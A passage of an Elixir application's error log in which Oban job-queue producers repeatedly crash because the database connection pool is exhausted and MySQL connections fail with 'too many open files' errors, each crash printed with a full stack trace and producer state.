State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:10:10.459577Z], limit: 20, uuid: "49c0a237-0f6b-41ad-9137-04309af8bc9c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:10.459584Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.255634>, refresh_timer: #Reference<0.2525715032.1068236804.255627>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:10:10.460574Z], limit: 50, uuid: "6161fab3-2e35-4a7b-8d2c-81c4e1bda272", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:10.460583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.239586>, refresh_timer: #Reference<0.2525715032.1077411843.239585>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:10:10.460253Z], limit: 5, uuid: "dd4658e2-aebf-4599-9bf2-f148365ead13", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:10.460263Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109615>, refresh_timer: #Reference<0.2525715032.1121189889.109614>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:22.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:10:10.459247Z], limit: 5, uuid: "09ad125a-e531-4067-926e-d6aa74dbdd6d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:10.459258Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.255635>, refresh_timer: #Reference<0.2525715032.1068236804.255619>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:10:10.460337Z], limit: 10, uuid: "a1fd53d2-554b-4962-99d5-887faa8a9354", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:10.460342Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109631>, refresh_timer: #Reference<0.2525715032.1068236804.255659>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:26.618000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:27.791000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:29.690000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:32.287000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:32.465000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:32.554000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:10:22.250337Z], limit: 50, uuid: "9d77af71-4bb9-4f54-8d88-14c246875354", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:22.250343Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109890>, refresh_timer: #Reference<0.2525715032.1121189889.109869>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:10:22.250336Z], limit: 5, uuid: "5bfa1e00-2f22-4f9e-9c60-e901e72ec143", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:22.250342Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109891>, refresh_timer: #Reference<0.2525715032.1099431938.7989>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:10:22.258653Z], limit: 5, uuid: "70dafb7e-82ab-4aea-af93-6247005dc9c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:22.258660Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109889>, refresh_timer: #Reference<0.2525715032.1121189889.109880>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:10:22.247566Z], limit: 3, uuid: "08af2ffe-8576-4208-ae98-5e8fa6ec1ae9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:22.247572Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.109893>, refresh_timer: #Reference<0.2525715032.1077411843.239706>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:33.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
